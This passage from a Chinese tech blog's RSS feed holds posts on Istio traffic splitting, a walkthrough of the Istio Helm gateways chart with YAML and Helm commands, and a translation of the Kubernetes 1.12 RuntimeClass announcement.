&lt;p&gt;Istio Gateway 描述了网格边缘的负载均衡组件，用于 HTTP/TCP 连接的接收和发出。定义中包含一组要开放的端口、使用的协议、负载均衡的 SNI 等。下面的定义中我们将 Gateway 指向 Istio 部署过程中建立的缺省的 Ingress Gategeway。&lt;/p&gt;

&lt;p&gt;用 Kubernetes 的方式创建 Gateway 对象：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: networking.istio.io/v1alpha3
kind: Gateway
metadata:
  name: app-gateway
spec:
  selector:
    istio: ingressgateway
  servers:
  - port:
      number: 80
      name: http
      protocol: HTTP
    hosts:
    - &amp;quot;*&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;目标规则&#34;&gt;目标规则&lt;/h3&gt;

&lt;p&gt;Istio &lt;code&gt;DestinationRule&lt;/code&gt; 定义了在一个服务成为路由目标之后的行为。注意一下这一规则中是如何通过标签来对 Kubernetes 的原生 Deployment 进行区分的：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: networking.istio.io/v1alpha3
kind: DestinationRule
metadata:
  name: myapp
spec:
  host: myapp
  subsets:
  - name: v1
    labels:
      version: v1
  - name: v2
    labels:
      version: v2
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;虚拟服务&#34;&gt;虚拟服务&lt;/h3&gt;

&lt;p&gt;虚拟服务中定义了一组流量路由规则，在其中的 &lt;code&gt;host&lt;/code&gt; 被访问时就会触发。每个路由规则中都定义了对某一协议进行匹配的标准。如果流量匹配这一标准，那么就发送给对应的区分了版本的目标服务。&lt;/p&gt;

&lt;p&gt;下面的定义中我们定义两个版本的服务权重都是 50，也就是说流量会在版本间进行平均分配：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: networking.istio.io/v1alpha3
kind: VirtualService
metadata:
  name: myapp
spec:
  hosts:
  - &amp;quot;*&amp;quot;
  gateways:
  - app-gateway
  http:
    - route:
      - destination:
          host: myapp
          subset: v1
        weight: 50
      - destination:
          host: myapp
          subset: v2
        weight: 50
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;所有这些都可以定义在同一个 YAML 文件中，然后用 &lt;code&gt;kubectl&lt;/code&gt; 提交给集群，同样可以在 &lt;a href=&#34;https://gist.github.com/janakiramm/35078d95730745caa62f81d917d6d553&#34; target=&#34;_blank&#34;&gt;Gtihub&lt;/a&gt; 中获取这一文件。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;kubectl apply -f app-gateway.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;images/b64331f6-istio-8-300x75.png&#34; alt=&#34;app gateway&#34; /&gt;&lt;/p&gt;

&lt;p&gt;接下来就可以尝试访问这一服务了。因为我们使用的是 NodePort 模式的服务，所以就需要首先判断一下 Ingress Gateway 所在的端口。&lt;/p&gt;

&lt;p&gt;运行下面的命令来访问 MiniKube 的 Ingress 端口。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;$ export INGRESS_HOST=$(minikube ip)

$ export INGRESS_PORT=$(kubectl -n istio-system get service istio-ingressgateway -o jsonpath=&#39;{.spec.ports[?(@.name==&amp;quot;http2&amp;quot;)].nodePort}&#39;)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;从浏览器访问这个 URL，会看到流量被均等的在蓝色和绿色版本之间进行分配。&lt;/p&gt;

&lt;p&gt;也可以在终端里面查看命令结果。运行下面的命令会看到 V1 和 V2 的响应：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;while : ;do export GREP_COLOR=&#39;1;33&#39;;curl -s  192.168.99.100:31380 \
 |  grep --color=always &amp;quot;V1&amp;quot; ; export GREP_COLOR=&#39;1;36&#39;;\
 curl -s  192.168.99.100:31380 \
 | grep --color=always &amp;quot;vNext&amp;quot; ; sleep 1; done
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;images/840d897c-istio-9-1024x674.png&#34; alt=&#34;curl&#34; /&gt;&lt;/p&gt;

&lt;p&gt;上面的命令会循环运行，我们可以返回编辑 &lt;code&gt;gateway.yaml&lt;/code&gt;，修改其中的权重分配。把 V1 的权重设置为 0，V2 的权重设置为 100.&lt;/p&gt;

&lt;p&gt;把新的定义提交到 Istio。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;$ istioctl replace -f app-gateway.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;images/0b6f6f9e-istio-10-300x59.png&#34; alt=&#34;replace&#34; /&gt;&lt;/p&gt;

&lt;p&gt;更新权重之后，V2 的响应比例会提升到 100%。这一结果会体现在输出之中：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/82d4e75d-istio-11.png&#34; alt=&#34;v2-100%&#34; /&gt;&lt;/p&gt;

&lt;p&gt;可以继续对权重进行修改，查看路由的动态变化过程。&lt;/p&gt;

&lt;p&gt;流量管理只是 Istio 的一个功能，后续文章中尝试更多其他特性。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Istio Helm Chart 详解 - Gateways</title>
      <link>/post/istio-helm-deep-dive-gateways/</link>
      <pubDate>Sun, 14 Oct 2018 00:06:31 +0800</pubDate>
      <guid>/post/istio-helm-deep-dive-gateways/</guid>
      <description>

&lt;blockquote&gt;
&lt;p&gt;这是《Istio Helm Chart 详解》系列的第四篇，对 Gateways Chart 进行一些介绍，并讲解一下使用 Helm 创建 Istio Gateway 的方法。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;前言&#34;&gt;前言&lt;/h2&gt;

&lt;p&gt;前面提到过，Istio 的 Helm Chart，除去用于安装之外，还有部分对 Istio 部署进行调整的能力。Gateways 一节内容，就包含了定制 Istio Ingress/Egress Gateway 的能力。&lt;/p&gt;

&lt;p&gt;这个 Chart 的文件结构和其他组件类似，不同的在于内容，它通过对 &lt;code&gt;values.yaml&lt;/code&gt; 中定义的 Gateways 相关内容的循环遍历，生成不同的 Gateway 单元，下面将会进行讲解和试验。&lt;/p&gt;

&lt;h2 id=&#34;values-yaml-中的变量定义&#34;&gt;&lt;code&gt;values.yaml&lt;/code&gt; 中的变量定义&lt;/h2&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;gateways:
  enabled: true

  istio-ingressgateway:
    enabled: true
    labels:
      app: istio-ingressgateway
      istio: ingressgateway
    replicaCount: 1
    autoscaleMin: 1
    autoscaleMax: 5
    resources: {}
      # limits:
      #  cpu: 100m
      #  memory: 128Mi
      #requests:
      #  cpu: 1800m
      #  memory: 256Mi
    cpu:
      targetAverageUtilization: 80
    loadBalancerIP: &amp;quot;&amp;quot;
    serviceAnnotations: {}
    type: LoadBalancer #change to NodePort, ClusterIP or LoadBalancer if need be

    ports:
      ## You can add custom gateway ports
    - port: 80
      targetPort: 80
      name: http2
      nodePort: 31380
    - port: 443
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;其中包含了一个层次结构：Gateways 的下级除了用于 &lt;code&gt;requirements.yaml&lt;/code&gt; 使用的 &lt;code&gt;enabled&lt;/code&gt; 字段之外，还包含一个数组，数组的每个元素定义了一个网关。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;range $key, $spec := .Values&lt;/code&gt;：对 &lt;code&gt;gateways&lt;/code&gt; 一节的&lt;strong&gt;局部变量&lt;/strong&gt;进行遍历，第一层遍历的值用 &lt;code&gt;$key&lt;/code&gt; 和 &lt;code&gt;$spec&lt;/code&gt; 两个变量来表示键值对，根据每个键值对的定义，逐个创建资源，下面会提到的 &lt;code&gt;$spec&lt;/code&gt; 引用就是相当于每个网关控制器的定义变量，&lt;code&gt;$key&lt;/code&gt; 就是每个网关控制器的名称。&lt;/p&gt;

&lt;h2 id=&#34;chart-yaml&#34;&gt;Chart.yaml&lt;/h2&gt;

&lt;p&gt;元数据文件，无需赘述。&lt;/p&gt;

&lt;h2 id=&#34;autoscale-yaml&#34;&gt;autoscale.yaml&lt;/h2&gt;

&lt;p&gt;首先讲解一下头部的渲染条件：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;{{- range $key, $spec := .Values }}
{{- if and (ne $key &amp;quot;global&amp;quot;) (ne $key &amp;quot;enabled&amp;quot;) }}
{{- if and $spec.enabled $spec.autoscaleMin }}
apiVersion: autoscaling/v2beta1
kind: HorizontalPodAutoscaler
metadata:
    name: {{ $key }}
    namespace: {{ $spec.namespace | default $.Release.Namespace }}
spec:
    maxReplicas: {{ $spec.autoscaleMax }}
    minReplicas: {{ $spec.autoscaleMin }}
    scaleTargetRef:
      apiVersion: apps/v1beta1
      kind: Deployment
      name: {{ $key }}
    metrics:
    - type: Resource
      resource:
        name: cpu
        targetAverageUtilization: {{ $spec.cpu.targetAverageUtilization }}
---
{{- end }}
{{- end }}
{{- end }}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;顾名思义，这个文件是用来创建 &lt;a href=&#34;https://kubernetes.io/docs/tasks/run-application/horizontal-pod-autoscale/&#34; target=&#34;_blank&#34;&gt;HPA&lt;/a&gt; 的，但是整个文件的外层由一个 &lt;a href=&#34;https://docs.helm.sh/chart_template_guide/#looping-with-the-range-action&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;range&lt;/code&gt;&lt;/a&gt; 语句所包围：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;{{- if and (ne $key &amp;quot;global&amp;quot;) (ne $key &amp;quot;enabled&amp;quot;) }}&lt;/code&gt; 将会跳过 &lt;code&gt;global&lt;/code&gt; 和 &lt;code&gt;enabled&lt;/code&gt; 键。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;{{- if and $spec.enabled $spec.autoscaleMin }}&lt;/code&gt;：如果前面读到的 &lt;code&gt;$spec&lt;/code&gt; 变量中的 &lt;code&gt;enabled&lt;/code&gt; 和 &lt;code&gt;autoscaleMin&lt;/code&gt; 都是 &lt;code&gt;true&lt;/code&gt;，才会进行处理。这里条件跟其它几个文件不同：只有设置了 &lt;code&gt;autoscaleMin&lt;/code&gt; 的情况下才会渲染 HPA 对象。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;引用变量：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;$key&lt;/code&gt;：也就是网关的名称，例如前面的 &lt;code&gt;istio-ingressgateway&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$spec.namespace&lt;/code&gt;：可以为这一 Gateway 定义命名空间，如果没有定义，则沿用 Istio 的命名空间，也就是 &lt;code&gt;Release.Namespace&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$spec.autoscaleMax&lt;/code&gt; 和 &lt;code&gt;$spec.autoscaleMin&lt;/code&gt;，Gateway 伸缩的上下限。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cpu.targetAverageUtilization&lt;/code&gt;：伸缩指标，目标平均 CPU 占用率。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;rbac-资源&#34;&gt;RBAC 资源&lt;/h2&gt;

&lt;p&gt;同样的，这里定义了每个网关所对应的 &lt;code&gt;ServiceAccount&lt;/code&gt;、&lt;code&gt;ClusterRole&lt;/code&gt; 以及 &lt;code&gt;ClusterRoleBinding&lt;/code&gt;，用于 RBAC。&lt;/p&gt;

&lt;p&gt;Gateway 角色需要对 &lt;code&gt;thirdpartyresources&lt;/code&gt;、&lt;code&gt;virtualservices&lt;/code&gt;、&lt;code&gt;destinationrules&lt;/code&gt; 以及 &lt;code&gt;gateways&lt;/code&gt; 几种资源进行读写。&lt;/p&gt;

&lt;p&gt;看 &lt;code&gt;meta.name&lt;/code&gt; 的定义可以看出，每个网关都会有自己的 RBAC 资源，命名规则为 &lt;code&gt;[网关名称]-[Istio 所在的命名空间]&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;另外 ServiceAccount 中引用了全局变量 &lt;code&gt;imagePullSecrets&lt;/code&gt;。&lt;/p&gt;

&lt;h2 id=&#34;deployment-yaml&#34;&gt;&lt;code&gt;deployment.yaml&lt;/code&gt;&lt;/h2&gt;

&lt;p&gt;这个模板用于 &lt;code&gt;Deployment&lt;/code&gt; 的创建过程。这个部署运行的主要服务进程和 Ingress Chart 一样，是 &lt;a href=&#34;https://istio.io/docs/reference/commands/pilot-agent/&#34; target=&#34;_blank&#34;&gt;pilot-agent&lt;/a&gt;。&lt;/p&gt;

&lt;h3 id=&#34;全局变量&#34;&gt;全局变量&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;priorityClassName&lt;/li&gt;
&lt;li&gt;hub&lt;/li&gt;
&lt;li&gt;tag&lt;/li&gt;
&lt;li&gt;istioNamespace&lt;/li&gt;
&lt;li&gt;proxy.envoyStatsd&lt;/li&gt;
&lt;li&gt;controlPlaneSecurityEnabled&lt;/li&gt;
&lt;li&gt;defaultResources&lt;/li&gt;
&lt;li&gt;nodeaffinity&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;变量使用细节&#34;&gt;变量使用细节&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;$spec.labels&lt;/code&gt;：这里可以看出，我们可以使用在 &lt;code&gt;values.yaml&lt;/code&gt; 中定义标签 &lt;code&gt;labels&lt;/code&gt; 的方式，为新的 Deployment 指定标签。&lt;strong&gt;标签将同时出现在 Deployment 和下面的 Pod 中。&lt;/strong&gt;，从而定义 &lt;code&gt;Gateway&lt;/code&gt; 资源时，可以用标签来指定对应的控制器。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$spec.replicaCount&lt;/code&gt;：可以指定初始副本数量。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$spec.ports&lt;/code&gt;：在 &lt;code&gt;ports&lt;/code&gt; 中定义的各种端口，会在容器中进行发布。&lt;/li&gt;
&lt;li&gt;Gateway 名称在这里还作为 &lt;code&gt;--serviceCluster&lt;/code&gt; 的值，这一参数在 Sidecar 中一般取值为 &lt;code&gt;istio-proxy&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;如果定义了 &lt;code&gt;global.istioNamespace&lt;/code&gt;，会使用 &lt;code&gt;[服务名].[命名空间]&lt;/code&gt; 的方式定义 &lt;code&gt;zipkin&lt;/code&gt;、&lt;code&gt;istio-pilot&lt;/code&gt; 的服务地址。&lt;/li&gt;
&lt;li&gt;根据 &lt;code&gt;global.proxy.envoyStatsd&lt;/code&gt; 设置 &lt;code&gt;statsd&lt;/code&gt; 地址。&lt;/li&gt;
&lt;li&gt;如果 Gateway 定义中包含了资源限制的内容，则会在这里进行包含，否则只会使用缺省资源限制。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$spec.additionalContainers&lt;/code&gt; 中还可以定义该 Pod 中额外的容器。&lt;/li&gt;
&lt;li&gt;如果有加载额外 tls secret 的需求，可以定义在 &lt;code&gt;$spec.secretVolume&lt;/code&gt; 中。&lt;/li&gt;
&lt;li&gt;如果有加载额外 Configmap 的需求，可以定义在 &lt;code&gt;$spec.configVolumes&lt;/code&gt; 中。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;service-yaml&#34;&gt;service.yaml&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;和其他元素一样，Service 也是使用循环的方式逐个建立的。&lt;/li&gt;
&lt;li&gt;服务名称同样也是直接使用 &lt;code&gt;$key&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;端口、命名空间、标签和 Deployment 模板一致。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$spec.serviceAnnotations&lt;/code&gt; 用于生成服务注解。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;selector&lt;/code&gt; 的定义&lt;strong&gt;也和标签定义一致&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;如果定义了 &lt;code&gt;$spec.loadBalancerIP&lt;/code&gt;，这里会给服务的 &lt;code&gt;loadBalancerIP&lt;/code&gt; 赋值。&lt;/li&gt;
&lt;li&gt;如果定义了 &lt;code&gt;.type&lt;/code&gt;，则将服务类型进行修改。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;测试一下&#34;&gt;测试一下&lt;/h2&gt;

&lt;p&gt;在 &lt;code&gt;values.yaml&lt;/code&gt; 的 &lt;code&gt;gateways&lt;/code&gt; 一节加入这样一段：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;  istio-myingress:
    enabled: true
    namespace: default
    labels:
      app: istio-ingressgateway
      istio: myingress
    replicaCount: 1
    autoscaleMax: 5
    resources: {}
    cpu:
      targetAverageUtilization: 80
    loadBalancerIP: &amp;quot;&amp;quot;
    serviceAnnotations: {}
    type: NodePort
    ports:
    - port: 80
      targetPort: 80
      name: http-myingress
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然后用命令行生成对应的安装文件：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;$ helm template istio --name istio -f \
    values-new-gateway.yaml --namespace \
    istio-system &amp;gt; istio-myingress.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;生成的 yaml，用编辑器打开，使用正则表达式 &lt;code&gt;source:.*?gateways&lt;/code&gt; 进行搜索，会看到生成的内容符合之前的描述，在 &lt;code&gt;Default&lt;/code&gt; 命名空间中出现了新的 ServiceAccount、ClusterRole、ClusterRoleBinding 资源，因为删除了 &lt;code&gt;autoscaleMin&lt;/code&gt;，所以不会产生 HPA 对象，同时服务类型也改成了 NodePort。&lt;/p&gt;

&lt;p&gt;仔细看看会发现其中有一些问题：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Pilot、Statsd 等依赖服务的地址还在本命名空间，没有引用 &lt;code&gt;istio-system&lt;/code&gt; 中的服务。&lt;/li&gt;
&lt;li&gt;ClusterRoleBinding 引用的 ServiceAccount 还是指向了 &lt;code&gt;istio-system&lt;/code&gt; 中的 ServiceAccount，但是很明显，这是不存在的。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这两点结合起来，足够给这个 Gateway 控制器判了死刑，是不可能正常工作的。如果用这一个文件安装 Istio，这个 Gateway 对应的 Pod 日志一定会出现错误。要修正错误，有三个方式：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;不再定义 &lt;code&gt;namespace&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;修正 Chart。&lt;/li&gt;
&lt;li&gt;修改渲染后的 YAML 文件。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;所以这里妥协一下，删掉 &lt;code&gt;namespace&lt;/code&gt; 一行，使用缺省设置，重新渲染安装。&lt;/p&gt;

&lt;p&gt;安装完成以后，按照&lt;a href=&#34;https://preliminary.istio.io/zh/docs/tasks/traffic-management/ingress/&#34; target=&#34;_blank&#34;&gt;控制 Ingress 流量&lt;/a&gt;一文的介绍，安装 &lt;code&gt;httpbin&lt;/code&gt; 服务，并为其设置 Gateway 和 VirtualService（注意替换其中的域名），其中的 Gateway Selector 使用我们新建的网关 &lt;code&gt;myingress&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: networking.istio.io/v1alpha3
kind: Gateway
metadata:
  name: httpbin-gateway
spec:
  selector:
    istio: myingress
  servers:
  - port:
      number: 80
      name: http
      protocol: HTTP
    hosts:
    - &amp;quot;httpbin.example.rocks&amp;quot;
---
apiVersion: networking.istio.io/v1alpha3
kind: VirtualService
metadata:
  name: httpbin
spec:
  hosts:
  - &amp;quot;httpbin.example.rocks&amp;quot;
  gateways:
  - httpbin-gateway
  http:
    route:
    - destination:
        port:
          number: 8000
        host: httpbin
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;创建这两个资源之后，使用 curl 访问 Ingress 服务，会看到正确的结果返回，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;$ curl httpbin.example.rocks/ip
{
  &amp;quot;origin&amp;quot;: &amp;quot;10.232.0.37&amp;quot;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;再来一次&#34;&gt;再来一次&lt;/h2&gt;

&lt;p&gt;前面的测试我们模拟了从头部署 Istio 的方式，如果是一个现存的 Istio 部署，又应该怎样新建网关？&lt;/p&gt;

&lt;p&gt;根据前面的分析，可以得出引用的所有全局变量：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;priorityClassName&lt;/li&gt;
&lt;li&gt;hub&lt;/li&gt;
&lt;li&gt;tag&lt;/li&gt;
&lt;li&gt;istioNamespace&lt;/li&gt;
&lt;li&gt;proxy&lt;/li&gt;
&lt;li&gt;controlPlaneSecurityEnabled&lt;/li&gt;
&lt;li&gt;defaultResources&lt;/li&gt;
&lt;li&gt;nodeaffinity&lt;/li&gt;
&lt;li&gt;imagePullSecrets&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;如果保证这些变量的完整性，并且和正在运行的 Istio 一致；同时关掉其它的不必要的组件渲染，应该就可以达到效果。这样写一个 &lt;code&gt;values.yaml&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;global:
  hub: docker.io/istio
  tag: 1.0.2
  proxy:
    envoyStatsd:
      enabled: true
      host: istio-statsd-prom-bridge
      port: 9125
  imagePullPolicy: IfNotPresent
  controlPlaneSecurityEnabled: false
  imagePullSecrets:
    # - private-registry-key
  defaultResources:
    requests:
      cpu: 10m
  priorityClassName: &amp;quot;&amp;quot;
sidecarInjectorWebhook:
  enabled: false
security:
  enabled: false
ingress:
  enabled: false
mixer:
  enabled: false
pilot:
  enabled: false
grafana:
  enabled: false
prometheus:
  enabled: false
servicegraph:
  enabled: false
tracing:
  enabled: false
galley:
  enabled: false
kiali:
  enabled: false
certmanager:
  enabled: false

gateways:
  enabled: true
  istio-ingressgateway:
    enabled: false
  istio-egressgateway:
    enabled: false    
  istio-newingress:
    enabled: true
    labels:
      app: istio-ingressgateway
      istio: newingress
    replicaCount: 1
    # autoscaleMin: 1
    autoscaleMax: 5
    resources: {}
    cpu:
      targetAverageUtilization: 80
    loadBalancerIP: &amp;quot;&amp;quot;
    serviceAnnotations: {}
    type: LoadBalancer
    ports:
    - port: 80
      targetPort: 80
      name: http-newingress
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;重新渲染并执行。&lt;/p&gt;

&lt;p&gt;修改 httpbin Gateway 定义，将 Selector 变更为 &lt;code&gt;istio: newingress&lt;/code&gt;，提交后使用 CURL 进行验证，会发现新的 Gateway 已经生效。&lt;/p&gt;

&lt;h2 id=&#34;小结&#34;&gt;小结&lt;/h2&gt;

&lt;p&gt;目前的 Gateway 管理还无法让人满意，多命名空间或者按需调度方面的功能还有很大缺憾；但是借用 Helm Chart 进行大块功能管理的方式还是一个有趣而且可能有效的尝试。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes 1.12 中的 RuntimeClass</title>
      <link>/post/runtimeclass-in-kubernetes/</link>
      <pubDate>Thu, 11 Oct 2018 10:49:46 +0800</pubDate>
      <guid>/post/runtimeclass-in-kubernetes/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://kubernetes.io/blog/2018/10/10/kubernetes-v1.12-introducing-runtimeclass/&#34; target=&#34;_blank&#34;&gt;Kubernetes v1.12: Introducing RuntimeClass&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;起初，Kubernetes 只支持运行于 Docker 容器中的 Linux 本地应用。Kubernetes 1.3 中，&lt;a href=&#34;https://kubernetes.io/blog/2016/07/rktnetes-brings-rkt-container-engine-to-kubernetes/&#34; target=&#34;_blank&#34;&gt;rtk&lt;/a&gt; 为首的其他运行时支持开始逐步浮现，促成了&lt;a href=&#34;https://kubernetes.io/blog/2016/12/container-runtime-interface-cri-in-kubernetes/&#34; target=&#34;_blank&#34;&gt;容器运行时（CRI）&lt;/a&gt;的诞生，更多的项目也因此加入了这一行列 ：&lt;a href=&#34;https://katacontainers.io/&#34; target=&#34;_blank&#34;&gt;Kata Container&lt;/a&gt; 和 &lt;a href=&#34;https://github.com/google/gvisor&#34; target=&#34;_blank&#34;&gt;gVisor&lt;/a&gt; 实现了更好的工作负载隔离；Kubernetes 的 Windows 支持也一直在&lt;a href=&#34;https://kubernetes.io/blog/2018/01/kubernetes-v19-beta-windows-support/&#34; target=&#34;_blank&#34;&gt;稳步发展&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;不同的容器运行时面向不同的使用场景，也就产生了在同一集群中使用混合运行时的需要。但是这所有不同的运行容器的方式都带来了一些亟待处理的问题：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;用户如何列出、并为工作负载选定合适的运行时？&lt;/li&gt;
&lt;li&gt;如何保证让 Pod 被调度到支持指定运行时的节点上？&lt;/li&gt;
&lt;li&gt;各种运行时都支持什么样的特性？如何让用户了解到这其中的兼容问题？&lt;/li&gt;
&lt;li&gt;多种运行时的不同资源开销如何应对？&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;RuntimeClass&lt;/code&gt; 为此而来。&lt;/p&gt;

&lt;h2 id=&#34;kubernetes-1-12-中的-runtimeclass&#34;&gt;Kubernetes 1.12 中的 RuntimeClass&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;RuntimeClass&lt;/code&gt; 在 Kubernetes 1.12 中实现，目前为 Alpha 阶段。初始阶段的焦点是提供一个对运行时进行选择的 API，并且为解决其它多运行时方面的问题进行了一些尝试。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;RuntimeClass&lt;/code&gt; 资源对 Kubernetes 集群上的容器运行时进行了描述。集群安装程序用 &lt;code&gt;RuntimeClass&lt;/code&gt; 对运行时进行安装、设置和定义。目前 &lt;code&gt;RuntimeClassSpec&lt;/code&gt; 包含一个字段 &lt;code&gt;RuntimeHandler&lt;/code&gt;。运行于节点上的 CRI 会对 &lt;code&gt;RuntimeHandler&lt;/code&gt; 进行解释，将其映射为实际的运行时配置。&lt;code&gt;PodSpec&lt;/code&gt; 也随之进行了扩展，加入了一个 &lt;code&gt;RuntimeClassName&lt;/code&gt; 字段，这个字段的值代表运行该 Pod 所需的 &lt;code&gt;RuntimeClass&lt;/code&gt; 的名称。&lt;/p&gt;

&lt;p&gt;为什么 &lt;code&gt;RuntimeClass&lt;/code&gt; 是个 Pod 级的概念？Kubernetes 资源模型能够在 Pod 中的不同容器之间共享某些资源。如果组成 Pod 的不同容器具有不同的资源模型，会对资源共享造成很大的挑战。例如在不同虚拟机之间共享 &lt;code&gt;loopback&lt;/code&gt; 适配器是极其困难的，但是在同一 Pod 中的两个容器之间进行通信时，这是个非常普遍的需要。&lt;/p&gt;

&lt;h2 id=&#34;下一步&#34;&gt;下一步？&lt;/h2&gt;

&lt;p&gt;要向控制面呈现运行时属性，&lt;code&gt;RuntimeClass&lt;/code&gt; 资源是个很重要的基础。例如要在多种不同运行时 Node 组成的集群中实现调度支持，我们可能需要在 &lt;code&gt;RuntimeClass&lt;/code&gt; 定义中实现 &lt;a href=&#34;https://kubernetes.io/docs/concepts/configuration/assign-pod-node/#affinity-and-anti-affinity&#34; target=&#34;_blank&#34;&gt;NodeAffinity&lt;/a&gt;。&lt;a href=&#34;https://docs.google.com/document/d/1EJKT4gyl58-kzt2bnwkv08MIUZ6lkDpXcxkHqCvvAp4/preview&#34; target=&#34;_blank&#34;&gt;Pod Overhead proposal&lt;/a&gt; 在这方面做出了一些早期尝试，和 &lt;code&gt;RuntimeClass&lt;/code&gt; 非常匹配，未来会逐步进行跟进。&lt;/p&gt;

&lt;p&gt;目前还提出了很多其它的 &lt;code&gt;RuntimeClass&lt;/code&gt; 扩展，会逐步进行进一步的研究和开发。正在考虑的扩展包括：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;呈现容器运行时所支持的可选特性，并为不兼容功能引发的错误提供更好的展示。&lt;/li&gt;
&lt;li&gt;将运行时的功能发现过程进行自动化，从而为自动的调度决策提供支持。&lt;/li&gt;
&lt;li&gt;提供运行时的自动注册功能，这样用户就可以在不停机的情况下为现有集群中安装新的运行时。&lt;/li&gt;
&lt;li&gt;为 Pod 的需求提供合适的 &lt;code&gt;RuntimeClass&lt;/code&gt;。例如指定运行时属性，让系统自行对 &lt;code&gt;RuntimeClass&lt;/code&gt; 进行匹配，从而避免显式指定 &lt;code&gt;RuntimeClass&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;至少到 2019 年。&lt;code&gt;RuntimeClass&lt;/code&gt; 的开发工作都会保持活跃，我们很高兴，从 Kubernetes 1.12 开始，这一功能以 Alpha 的形态成功面世。&lt;/p&gt;

&lt;h2 id=&#34;还有更多&#34;&gt;还有更多&lt;/h2&gt;

&lt;p&gt;作为一个 Alpha 功能，还需要一些额外的设置步骤才能够使用 &lt;code&gt;RuntimeClass&lt;/code&gt;。详情请参考 &lt;a href=&#34;https://kubernetes.io/docs/concepts/containers/runtime-class/#runtime-class&#34; target=&#34;_blank&#34;&gt;RuntimeClass 文档&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/kubernetes/community/blob/master/keps/sig-node/0014-runtime-class.md&#34; target=&#34;_blank&#34;&gt;RuntimeClass Kubernetes ENhancement Proposal&lt;/a&gt; 之中包含了更多的设计细节。&lt;/p&gt;

